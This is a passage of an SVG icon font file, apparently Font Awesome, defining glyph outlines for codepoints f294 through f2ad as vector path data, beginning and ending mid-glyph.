t-219.5 24.5t-181.5 86.5t-140.5 162.5t-87.5 257t-32 365.5t32 365.5t87.5 257t140.5 162.5t181.5 86.5t219.5 24.5t219.5 -24.5t181.5 -86.5t140.5 -162.5t87.5 -257t32 -365.5z" />
    <glyph glyph-name="_619" unicode="&#xf294;" horiz-adv-x="1024" 
d="M596 113l173 172l-173 172v-344zM596 823l173 172l-173 172v-344zM628 640l356 -356l-539 -540v711l-297 -296l-108 108l372 373l-372 373l108 108l297 -296v711l539 -540z" />
    <glyph glyph-name="_620" unicode="&#xf295;" 
d="M1280 256q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM512 1024q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM1536 256q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5
t112.5 -271.5zM1440 1344q0 -20 -13 -38l-1056 -1408q-19 -26 -51 -26h-160q-26 0 -45 19t-19 45q0 20 13 38l1056 1408q19 26 51 26h160q26 0 45 -19t19 -45zM768 1024q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5
t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="_621" unicode="&#xf296;" horiz-adv-x="1792" 
d="M104 830l792 -1015l-868 630q-18 13 -25 34.5t0 42.5l101 308v0zM566 830h660l-330 -1015v0zM368 1442l198 -612h-462l198 612q8 23 33 23t33 -23zM1688 830l101 -308q7 -21 0 -42.5t-25 -34.5l-868 -630l792 1015v0zM1688 830h-462l198 612q8 23 33 23t33 -23z" />
    <glyph glyph-name="_622" unicode="&#xf297;" horiz-adv-x="1792" 
d="M384 704h160v224h-160v-224zM1221 372v92q-104 -36 -243 -38q-135 -1 -259.5 46.5t-220.5 122.5l1 -96q88 -80 212 -128.5t272 -47.5q129 0 238 49zM640 704h640v224h-640v-224zM1792 736q0 -187 -99 -352q89 -102 89 -229q0 -157 -129.5 -268t-313.5 -111
q-122 0 -225 52.5t-161 140.5q-19 -1 -57 -1t-57 1q-58 -88 -161 -140.5t-225 -52.5q-184 0 -313.5 111t-129.5 268q0 127 89 229q-99 165 -99 352q0 209 120 385.5t326.5 279.5t449.5 103t449.5 -103t326.5 -279.5t120 -385.5z" />
    <glyph glyph-name="_623" unicode="&#xf298;" 
d="M515 625v-128h-252v128h252zM515 880v-127h-252v127h252zM1273 369v-128h-341v128h341zM1273 625v-128h-672v128h672zM1273 880v-127h-672v127h672zM1408 20v1240q0 8 -6 14t-14 6h-32l-378 -256l-210 171l-210 -171l-378 256h-32q-8 0 -14 -6t-6 -14v-1240q0 -8 6 -14
t14 -6h1240q8 0 14 6t6 14zM553 1130l185 150h-406zM983 1130l221 150h-406zM1536 1260v-1240q0 -62 -43 -105t-105 -43h-1240q-62 0 -105 43t-43 105v1240q0 62 43 105t105 43h1240q62 0 105 -43t43 -105z" />
    <glyph glyph-name="_624" unicode="&#xf299;" horiz-adv-x="1792" 
d="M896 720q-104 196 -160 278q-139 202 -347 318q-34 19 -70 36q-89 40 -94 32t34 -38l39 -31q62 -43 112.5 -93.5t94.5 -116.5t70.5 -113t70.5 -131q9 -17 13 -25q44 -84 84 -153t98 -154t115.5 -150t131 -123.5t148.5 -90.5q153 -66 154 -60q1 3 -49 37q-53 36 -81 57
q-77 58 -179 211t-185 310zM549 177q-76 60 -132.5 125t-98 143.5t-71 154.5t-58.5 186t-52 209t-60.5 252t-76.5 289q273 0 497.5 -36t379 -92t271 -144.5t185.5 -172.5t110 -198.5t56 -199.5t12.5 -198.5t-9.5 -173t-20 -143.5t-13 -107l323 -327h-104l-281 285
q-22 -2 -91.5 -14t-121.5 -19t-138 -6t-160.5 17t-167.5 59t-179 111z" />
    <glyph glyph-name="_625" unicode="&#xf29a;" horiz-adv-x="1792" 
d="M1374 879q-6 26 -28.5 39.5t-48.5 7.5q-261 -62 -401 -62t-401 62q-26 6 -48.5 -7.5t-28.5 -39.5t7.5 -48.5t39.5 -28.5q194 -46 303 -58q-2 -158 -15.5 -269t-26.5 -155.5t-41 -115.5l-9 -21q-10 -25 1 -49t36 -34q9 -4 23 -4q44 0 60 41l8 20q54 139 71 259h42
q17 -120 71 -259l8 -20q16 -41 60 -41q14 0 23 4q25 10 36 34t1 49l-9 21q-28 71 -41 115.5t-26.5 155.5t-15.5 269q109 12 303 58q26 6 39.5 28.5t7.5 48.5zM1024 1024q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5z
M1600 640q0 -143 -55.5 -273.5t-150 -225t-225 -150t-273.5 -55.5t-273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5zM896 1408q-156 0 -298 -61t-245 -164t-164 -245t-61 -298t61 -298
t164 -245t245 -164t298 -61t298 61t245 164t164 245t61 298t-61 298t-164 245t-245 164t-298 61zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_626" unicode="&#xf29b;" 
d="M1438 723q34 -35 29 -82l-44 -551q-4 -42 -34.5 -70t-71.5 -28q-6 0 -9 1q-44 3 -72.5 36.5t-25.5 77.5l35 429l-143 -8q55 -113 55 -240q0 -216 -148 -372l-137 137q91 101 91 235q0 145 -102.5 248t-247.5 103q-134 0 -236 -92l-137 138q120 114 284 141l264 300
l-149 87l-181 -161q-33 -30 -77 -27.5t-73 35.5t-26.5 77t34.5 73l239 213q26 23 60 26.5t64 -14.5l488 -283q36 -21 48 -68q17 -67 -26 -117l-205 -232l371 20q49 3 83 -32zM1240 1180q-74 0 -126 52t-52 126t52 126t126 52t126.5 -52t52.5 -126t-52.5 -126t-126.5 -52z
M613 -62q106 0 196 61l139 -139q-146 -116 -335 -116q-148 0 -273.5 73t-198.5 198t-73 273q0 188 116 336l139 -139q-60 -88 -60 -197q0 -145 102.5 -247.5t247.5 -102.5z" />
    <glyph glyph-name="_627" unicode="&#xf29c;" 
d="M880 336v-160q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v160q0 14 9 23t23 9h160q14 0 23 -9t9 -23zM1136 832q0 -50 -15 -90t-45.5 -69t-52 -44t-59.5 -36q-32 -18 -46.5 -28t-26 -24t-11.5 -29v-32q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v68q0 35 10.5 64.5
t24 47.5t39 35.5t41 25.5t44.5 21q53 25 75 43t22 49q0 42 -43.5 71.5t-95.5 29.5q-56 0 -95 -27q-29 -20 -80 -83q-9 -12 -25 -12q-11 0 -19 6l-108 82q-10 7 -12 20t5 23q122 192 349 192q129 0 238.5 -89.5t109.5 -214.5zM768 1280q-130 0 -248.5 -51t-204 -136.5
t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5
t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_628" unicode="&#xf29d;" horiz-adv-x="1408" 
d="M366 1225q-64 0 -110 45.5t-46 110.5q0 64 46 109.5t110 45.5t109.5 -45.5t45.5 -109.5q0 -65 -45.5 -110.5t-109.5 -45.5zM917 583q0 -50 -30 -67.5t-63.5 -6.5t-47.5 34l-367 438q-7 12 -14 15.5t-11 1.5l-3 -3q-7 -8 4 -21l122 -139l1 -354l-161 -457
q-67 -192 -92 -234q-15 -26 -28 -32q-50 -26 -103 -1q-29 13 -41.5 43t-9.5 57q2 17 197 618l5 416l-85 -164l35 -222q4 -24 -1 -42t-14 -27.5t-19 -16t-17 -7.5l-7 -2q-19 -3 -34.5 3t-24 16t-14 22t-7.5 19.5t-2 9.5l-46 299l211 381q23 34 113 34q75 0 107 -40l424 -521
q7 -5 14 -17l3 -3l-1 -1q7 -13 7 -29zM514 433q43 -113 88.5 -225t69.5 -168l24 -55q36 -93 42 -125q11 -70 -36 -97q-35 -22 -66 -16t-51 22t-29 35h-1q-6 16 -8 25l-124 351zM1338 -159q31 -49 31 -57q0 -5 -3 -7q-9 -5 -14.5 0.5t-15.5 26t-16 30.5q-114 172 -423 661
q3 -1 7 1t7 4l3 2q11 9 11 17z" />
    <glyph glyph-name="_629" unicode="&#xf29e;" horiz-adv-x="2304" 
d="M504 542h171l-1 265zM1530 641q0 87 -50.5 140t-146.5 53h-54v-388h52q91 0 145 57t54 138zM956 1018l1 -756q0 -14 -9.5 -24t-23.5 -10h-216q-14 0 -23.5 10t-9.5 24v62h-291l-55 -81q-10 -15 -28 -15h-267q-21 0 -30.5 18t3.5 35l556 757q9 14 27 14h332q14 0 24 -10
t10 -24zM1783 641q0 -193 -125.5 -303t-324.5 -110h-270q-14 0 -24 10t-10 24v756q0 14 10 24t24 10h268q200 0 326 -109t126 -302zM1939 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-44.5 -108t-73.5 -102.5h-51q38 45 66.5 104.5t41.5 112t21 98t9 72.5l1 27q0 8 -0.5 22.5
t-7.5 60t-20 91.5t-41 111.5t-66 124.5h43q41 -47 72 -107t45.5 -111.5t23 -96t10.5 -70.5zM2123 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-45 -108t-74 -102.5h-51q38 45 66.5 104.5t41.5 112t21 98t9 72.5l1 27q0 8 -0.5 22.5t-7.5 60t-19.5 91.5t-40.5 111.5t-66 124.5
h43q41 -47 72 -107t45.5 -111.5t23 -96t10.5 -70.5zM2304 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-44.5 -108t-73.5 -102.5h-51q38 45 66 104.5t41 112t21 98t9 72.5l1 27q0 8 -0.5 22.5t-7.5 60t-19.5 91.5t-40.5 111.5t-66 124.5h43q41 -47 72 -107t45.5 -111.5t23 -96
t9.5 -70.5z" />
    <glyph glyph-name="uniF2A0" unicode="&#xf2a0;" horiz-adv-x="1408" 
d="M617 -153q0 11 -13 58t-31 107t-20 69q-1 4 -5 26.5t-8.5 36t-13.5 21.5q-15 14 -51 14q-23 0 -70 -5.5t-71 -5.5q-34 0 -47 11q-6 5 -11 15.5t-7.5 20t-6.5 24t-5 18.5q-37 128 -37 255t37 255q1 4 5 18.5t6.5 24t7.5 20t11 15.5q13 11 47 11q24 0 71 -5.5t70 -5.5
q36 0 51 14q9 8 13.5 21.5t8.5 36t5 26.5q2 9 20 69t31 107t13 58q0 22 -43.5 52.5t-75.5 42.5q-20 8 -45 8q-34 0 -98 -18q-57 -17 -96.5 -40.5t-71 -66t-46 -70t-45.5 -94.5q-6 -12 -9 -19q-49 -107 -68 -216t-19 -244t19 -244t68 -216q56 -122 83 -161q63 -91 179 -127
l6 -2q64 -18 98 -18q25 0 45 8q32 12 75.5 42.5t43.5 52.5zM776 760q-26 0 -45 19t-19 45.5t19 45.5q37 37 37 90q0 52 -37 91q-19 19 -19 45t19 45t45 19t45 -19q75 -75 75 -181t-75 -181q-21 -19 -45 -19zM957 579q-27 0 -45 19q-19 19 -19 45t19 45q112 114 112 272
t-112 272q-19 19 -19 45t19 45t45 19t45 -19q150 -150 150 -362t-150 -362q-18 -19 -45 -19zM1138 398q-27 0 -45 19q-19 19 -19 45t19 45q90 91 138.5 208t48.5 245t-48.5 245t-138.5 208q-19 19 -19 45t19 45t45 19t45 -19q109 -109 167 -249t58 -294t-58 -294t-167 -249
q-18 -19 -45 -19z" />
    <glyph glyph-name="uniF2A1" unicode="&#xf2a1;" horiz-adv-x="2176" 
d="M192 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM704 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM704 864q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1472 352
q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1472 864q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 864
q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 1376q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM384 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 192q0 -80 -56 -136
t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 1216q0 -80 -56 -136t-136 -56
t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM2176 192q0 -80 -56 -136t-136 -56t-136 56
t-56 136t56 136t136 56t136 -56t56 -136zM1664 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM2176 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136
t56 136t136 56t136 -56t56 -136zM2176 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136z" />
    <glyph glyph-name="uniF2A2" unicode="&#xf2a2;" horiz-adv-x="1792" 
d="M128 -192q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM320 0q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM365 365l256 -256l-90 -90l-256 256zM704 384q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45z
M1411 704q0 -59 -11.5 -108.5t-37.5 -93.5t-44 -67.5t-53 -64.5q-31 -35 -45.5 -54t-33.5 -50t-26.5 -64t-7.5 -74q0 -159 -112.5 -271.5t-271.5 -112.5q-26 0 -45 19t-19 45t19 45t45 19q106 0 181 75t75 181q0 57 11.5 105.5t37 91t43.5 66.5t52 63q40 46 59.5 72
t37.5 74.5t18 103.5q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5zM896 576q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45
t45 19t45 -19t19 -45zM1184 704q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 93 -65.5 158.5t-158.5 65.5q-92 0 -158 -65.5t-66 -158.5q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 146 103 249t249 103t249 -103t103 -249zM1578 993q10 -25 -1 -49t-36 -34q-9 -4 -23 -4
q-19 0 -35.5 11t-23.5 30q-68 178 -224 295q-21 16 -25 42t12 47q17 21 43 25t47 -12q183 -137 266 -351zM1788 1074q9 -25 -1.5 -49t-35.5 -34q-11 -4 -23 -4q-44 0 -60 41q-92 238 -297 393q-22 16 -25.5 42t12.5 47q16 22 42 25.5t47 -12.5q235 -175 341 -449z" />
    <glyph glyph-name="uniF2A3" unicode="&#xf2a3;" horiz-adv-x="2304" 
d="M1032 576q-59 2 -84 55q-17 34 -48 53.5t-68 19.5q-53 0 -90.5 -37.5t-37.5 -90.5q0 -56 36 -89l10 -8q34 -31 82 -31q37 0 68 19.5t48 53.5q25 53 84 55zM1600 704q0 56 -36 89l-10 8q-34 31 -82 31q-37 0 -68 -19.5t-48 -53.5q-25 -53 -84 -55q59 -2 84 -55
q17 -34 48 -53.5t68 -19.5q53 0 90.5 37.5t37.5 90.5zM1174 925q-17 -35 -55 -48t-73 4q-62 31 -134 31q-51 0 -99 -17q3 0 9.5 0.5t9.5 0.5q92 0 170.5 -50t118.5 -133q17 -36 3.5 -73.5t-49.5 -54.5q-18 -9 -39 -9q21 0 39 -9q36 -17 49.5 -54.5t-3.5 -73.5
q-40 -83 -118.5 -133t-170.5 -50h-6q-16 2 -44 4l-290 27l-239 -120q-14 -7 -29 -7q-40 0 -57 35l-160 320q-11 23 -4 47.5t29 37.5l209 119l148 267q17 155 91.5 291.5t195.5 236.5q31 25 70.5 21.5t64.5 -34.5t21.5 -70t-34.5 -65q-70 -59 -117 -128q123 84 267 101
q40 5 71.5 -19t35.5 -64q5 -40 -19 -71.5t-64 -35.5q-84 -10 -159 -55q46 10 99 10q115 0 218 -50q36 -18 49 -55.5t-5 -73.5zM2137 1085l160 -320q11 -23 4 -47.5t-29 -37.5l-209 -119l-148 -267q-17 -155 -91.5 -291.5t-195.5 -236.5q-26 -22 -61 -22q-45 0 -74 35
q-25 31 -21.5 70t34.5 65q70 59 117 128q-123 -84 -267 -101q-4 -1 -12 -1q-36 0 -63.5 24t-31.5 60q-5 40 19 71.5t64 35.5q84 10 159 55q-46 -10 -99 -10q-115 0 -218 50q-36 18 -49 55.5t5 73.5q17 35 55 48t73 -4q62 -31 134 -31q51 0 99 17q-3 0 -9.5 -0.5t-9.5 -0.5
q-92 0 -170.5 50t-118.5 133q-17 36 -3.5 73.5t49.5 54.5q18 9 39 9q-21 0 -39 9q-36 17 -49.5 54.5t3.5 73.5q40 83 118.5 133t170.5 50h6h1q14 -2 42 -4l291 -27l239 120q14 7 29 7q40 0 57 -35z" />
    <glyph glyph-name="uniF2A4" unicode="&#xf2a4;" horiz-adv-x="1792" 
d="M1056 704q0 -26 19 -45t45 -19t45 19t19 45q0 146 -103 249t-249 103t-249 -103t-103 -249q0 -26 19 -45t45 -19t45 19t19 45q0 93 66 158.5t158 65.5t158 -65.5t66 -158.5zM835 1280q-117 0 -223.5 -45.5t-184 -123t-123 -184t-45.5 -223.5q0 -26 19 -45t45 -19t45 19
t19 45q0 185 131.5 316.5t316.5 131.5t316.5 -131.5t131.5 -316.5q0 -55 -18 -103.5t-37.5 -74.5t-59.5 -72q-34 -39 -52 -63t-43.5 -66.5t-37 -91t-11.5 -105.5q0 -106 -75 -181t-181 -75q-26 0 -45 -19t-19 -45t19 -45t45 -19q159 0 271.5 112.5t112.5 271.5q0 41 7.5 74
t26.5 64t33.5 50t45.5 54q35 41 53 64.5t44 67.5t37.5 93.5t11.5 108.5q0 117 -45.5 223.5t-123 184t-184 123t-223.5 45.5zM591 561l226 -226l-579 -579q-12 -12 -29 -12t-29 12l-168 168q-12 12 -12 29t12 29zM1612 1524l168 -168q12 -12 12 -29t-12 -30l-233 -233
l-26 -25l-71 -71q-66 153 -195 258l91 91l207 207q13 12 30 12t29 -12z" />
    <glyph glyph-name="uniF2A5" unicode="&#xf2a5;" 
d="M866 1021q0 -27 -13 -94q-11 -50 -31.5 -150t-30.5 -150q-2 -11 -4.5 -12.5t-13.5 -2.5q-20 -2 -31 -2q-58 0 -84 49.5t-26 113.5q0 88 35 174t103 124q28 14 51 14q28 0 36.5 -16.5t8.5 -47.5zM1352 597q0 14 -39 75.5t-52 66.5q-21 8 -34 8q-91 0 -226 -77l-2 2
q3 22 27.5 135t24.5 178q0 233 -242 233q-24 0 -68 -6q-94 -17 -168.5 -89.5t-111.5 -166.5t-37 -189q0 -146 80.5 -225t227.5 -79q25 0 25 -3t-1 -5q-4 -34 -26 -117q-14 -52 -51.5 -101t-82.5 -49q-42 0 -42 47q0 24 10.5 47.5t25 39.5t29.5 28.5t26 20t11 8.5q0 3 -7 10
q-24 22 -58.5 36.5t-65.5 14.5q-35 0 -63.5 -34t-41 -75t-12.5 -75q0 -88 51.5 -142t138.5 -54q82 0 155 53t117.5 126t65.5 153q6 22 15.5 66.5t14.5 66.5q3 12 14 18q118 60 227 60q48 0 127 -18q1 -1 4 -1q5 0 9.5 4.5t4.5 8.5zM1536 1120v-960q0 -119 -84.5 -203.5
t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="uniF2A6" unicode="&#xf2a6;" horiz-adv-x="1535" 
d="M744 1231q0 24 -2 38.5t-8.5 30t-21 23t-37.5 7.5q-39 0 -78 -23q-105 -58 -159 -190.5t-54 -269.5q0 -44 8.5 -85.5t26.5 -80.5t52.5 -62.5t81.5 -23.5q4 0 18 -0.5t20 0t16 3t15 8.5t7 16q16 77 48 231.5t48 231.5q19 91 19 146zM1498 575q0 -7 -7.5 -13.5t-15.5 -6.5
l-6 1q-22 3 -62 11t-72 12.5t-63 4.5q-167 0 -351 -93q-15 -8 -21 -27q-10 -36 -24.5 -105.5t-22.5 -100.5q-23 -91 -70 -179.5t-112.5 -164.5t-154.5 -123t-185 -47q-135 0 -214.5 83.5t-79.5 219.5q0 53 19.5 117t63 116.5t97.5 52.5q38 0 120 -33.5t83 -61.5
q0 -1 -16.5 -12.5t-39.5 -31t-46 -44.5t-39 -61t-16 -74q0 -33 16.5 -53t48.5 -20q45 0 85 31.5t66.5 78t48 105.5t32.5 107t16 90v9q0 2 -3.5 3.5t-8.5 1.5h-10t-10 -0.5t-6 -0.5q-227 0 -352 122.5t-125 348.5q0 108 34.5 221t96 210t156 167.5t204.5 89.5q52 9 106 9
q374 0 374 -360q0 -98 -38 -273t-43 -211l3 -3q101 57 182.5 88t167.5 31q22 0 53 -13q19 -7 80 -102.5t61 -116.5z" />
    <glyph glyph-name="uniF2A7" unicode="&#xf2a7;" horiz-adv-x="1664" 
d="M831 863q32 0 59 -18l222 -148q61 -40 110 -97l146 -170q40 -46 29 -106l-72 -413q-6 -32 -29.5 -53.5t-55.5 -25.5l-527 -56l-352 -32h-9q-39 0 -67.5 28t-28.5 68q0 37 27 64t65 32l260 32h-448q-41 0 -69.5 30t-26.5 71q2 39 32 65t69 26l442 1l-521 64q-41 5 -66 37
t-19 73q6 35 34.5 57.5t65.5 22.5h10l481 -60l-351 94q-38 10 -62 41.5t-18 68.5q6 36 33 58.5t62 22.5q6 0 20 -2l448 -96l217 -37q1 0 3 -0.5t3 -0.5q23 0 30.5 23t-12.5 36l-186 125q-35 23 -42 63.5t18 73.5q27 38 76 38zM761 661l186 -125l-218 37l-5 2l-36 38
l-238 262q-1 1 -2.5 3.5t-2.5 3.5q-24 31 -18.5 70t37.5 64q31 23 68 17.5t64 -33.5l142 -147q-2 -1 -5 -3.5t-4 -4.5q-32 -45 -23 -99t55 -85zM1648 1115l15 -266q4 -73 -11 -147l-48 -219q-12 -59 -67 -87l-106 -54q2 62 -39 109l-146 170q-53 61 -117 103l-222 148
q-34 23 -76 23q-51 0 -88 -37l-235 312q-25 33 -18 73.5t41 63.5q33 22 71.5 14t62.5 -40l266 -352l-262 455q-21 35 -10.5 75t47.5 59q35 18 72.5 6t57.5 -46l241 -420l-136 337q-15 35 -4.5 74t44.5 56q37 19 76 6t56 -51l193 -415l101 -196q8 -15 23 -17.5t27 7.5t11 26
l-12 224q-2 41 26 71t69 31q39 0 67 -28.5t30 -67.5z" />
    <glyph glyph-name="uniF2A8" unicode="&#xf2a8;" horiz-adv-x="1792" 
d="M335 180q-2 0 -6 2q-86 57 -168.5 145t-139.5 180q-21 30 -21 69q0 9 2 19t4 18t7 18t8.5 16t10.5 17t10 15t12 15.5t11 14.5q184 251 452 365q-110 198 -110 211q0 19 17 29q116 64 128 64q18 0 28 -16l124 -229q92 19 192 19q266 0 497.5 -137.5t378.5 -369.5
q20 -31 20 -69t-20 -69q-91 -142 -218.5 -253.5t-278.5 -175.5q110 -198 110 -211q0 -20 -17 -29q-116 -64 -127 -64q-19 0 -29 16l-124 229l-64 119l-444 820l7 7q-58 -24 -99 -47q3 -5 127 -234t243 -449t119 -223q0 -7 -9 -9q-13 -3 -72 -3q-57 0 -60 7l-456 841
q-39 -28 -82 -68q24 -43 214 -393.5t190 -354.5q0 -10 -11 -10q-14 0 -82.5 22t-72.5 28l-106 197l-224 413q-44 -53 -78 -106q2 -3 18 -25t23 -34l176 -327q0 -10 -10 -10zM1165 282l49 -91q273 111 450 385q-180 277 -459 389q67 -64 103 -148.5t36 -176.5
q0 -106 -47 -200.5t-132 -157.5zM848 896q0 -20 14 -34t34 -14q86 0 147 -61t61 -147q0 -20 14 -34t34 -14t34 14t14 34q0 126 -89 215t-215 89q-20 0 -34 -14t-14 -34zM1214 961l-9 4l7 -7z" />
    <glyph glyph-name="uniF2A9" unicode="&#xf2a9;" horiz-adv-x="1280" 
d="M1050 430q0 -215 -147 -374q-148 -161 -378 -161q-232 0 -378 161q-147 159 -147 374q0 147 68 270.5t189 196.5t268 73q96 0 182 -31q-32 -62 -39 -126q-66 28 -143 28q-167 0 -280.5 -123t-113.5 -291q0 -170 112.5 -288.5t281.5 -118.5t281 118.5t112 288.5
q0 89 -32 166q66 13 123 49q41 -98 41 -212zM846 619q0 -192 -79.5 -345t-238.5 -253l-14 -1q-29 0 -62 5q83 32 146.5 102.5t99.5 154.5t58.5 189t30 192.5t7.5 178.5q0 69 -3 103q55 -160 55 -326zM791 947v-2q-73 214 -206 440q88 -59 142.5 -186.5t63.5 -251.5z
M1035 744q-83 0 -160 75q218 120 290 247q19 37 21 56q-42 -94 -139.5 -166.5t-204.5 -97.5q-35 54 -35 113q0 37 17 79t43 68q46 44 157 74q59 16 106 58.5t74 100.5q74 -105 74 -253q0 -109 -24 -170q-32 -77 -88.5 -130.5t-130.5 -53.5z" />
    <glyph glyph-name="uniF2AA" unicode="&#xf2aa;" 
d="M1050 495q0 78 -28 147q-41 -25 -85 -34q22 -50 22 -114q0 -117 -77 -198.5t-193 -81.5t-193.5 81.5t-77.5 198.5q0 115 78 199.5t193 84.5q53 0 98 -19q4 43 27 87q-60 21 -125 21q-154 0 -257.5 -108.5t-103.5 -263.5t103.5 -261t257.5 -106t257.5 106.5t103.5 260.5z
M872 850q2 -24 2 -71q0 -63 -5 -123t-20.5 -132.5t-40.5 -130t-68.5 -106t-100.5 -70.5q21 -3 42 -3h10q219 139 219 411q0 116 -38 225zM872 850q-4 80 -44 171.5t-98 130.5q92 -156 142 -302zM1207 955q0 102 -51 174q-41 -86 -124 -109q-69 -19 -109 -53.5t-40 -99.5
q0 -40 24 -77q74 17 140.5 67t95.5 115q-4 -52 -74.5 -111.5t-138.5 -97.5q52 -52 110 -52q51 0 90 37t60 90q17 42 17 117zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5
t84.5 -203.5z" />
    <glyph glyph-name="uniF2AB" unicode="&#xf2ab;" 
d="M1279 388q0 22 -22 27q-67 15 -118 59t-80 108q-7 19 -7 25q0 15 19.5 26t43 17t43 20.5t19.5 36.5q0 19 -18.5 31.5t-38.5 12.5q-12 0 -32 -8t-31 -8q-4 0 -12 2q5 95 5 114q0 79 -17 114q-36 78 -103 121.5t-152 43.5q-199 0 -275 -165q-17 -35 -17 -114q0 -19 5 -114
q-4 -2 -14 -2q-12 0 -32 7.5t-30 7.5q-21 0 -38.5 -12t-17.5 -32q0 -21 19.5 -35.5t43 -20.5t43 -17t19.5 -26q0 -6 -7 -25q-64 -138 -198 -167q-22 -5 -22 -27q0 -46 137 -68q2 -5 6 -26t11.5 -30.5t23.5 -9.5q12 0 37.5 4.5t39.5 4.5q35 0 67 -15t54 -32.5t57.5 -32.5
t76.5 -15q43 0 79 15t57.5 32.5t53.5 32.5t67 15q14 0 39.5 -4t38.5 -4q16 0 23 10t11 30t6 25q137 22 137 68zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5
t103 -385.5z" />
    <glyph glyph-name="uniF2AC" unicode="&#xf2ac;" horiz-adv-x="1664" 
d="M848 1408q134 1 240.5 -68.5t163.5 -192.5q27 -58 27 -179q0 -47 -9 -191q14 -7 28 -7q18 0 51 13.5t51 13.5q29 0 56 -18t27 -46q0 -32 -31.5 -54t-69 -31.5t-69 -29t-31.5 -47.5q0 -15 12 -43q37 -82 102.5 -150t144.5 -101q28 -12 80 -23q28 -6 28 -35
q0 -70 -219 -103q-7 -11 -11 -39t-14 -46.5t-33 -18.5q-20 0 -62 6.5t-64 6.5q-37 0 -62 -5q-32 -5 -63 -22.5t-58 -38t-58 -40.5t-76 -33.5t-99 -13.5q-52 0 -96.5 13.5t-75 33.5t-57.5 40.5t-58 38t-62 22.5q-26 5 -63 5q-24 0 -65.5 -7.5t-58.5 -7.5q-25 0 -35 18.5
t-14 47.5t-11 40q-219 33 -219 103q0 29 28 35q52 11 80 23q78 32 144.5 101t102.5 150q12 28 12 43q0 28 -31.5 47.5t-69.5 29.5t-69.5 31.5t-31.5 52.5q0 27 26 45.5t55 18.5q15 0 48 -13t53 -13q18 0 32 7q-9 142 -9 190q0 122 27 180q64 137 172 198t264 63z" />
    <glyph glyph-name="uniF2AD" unicode="&#xf2ad;" 
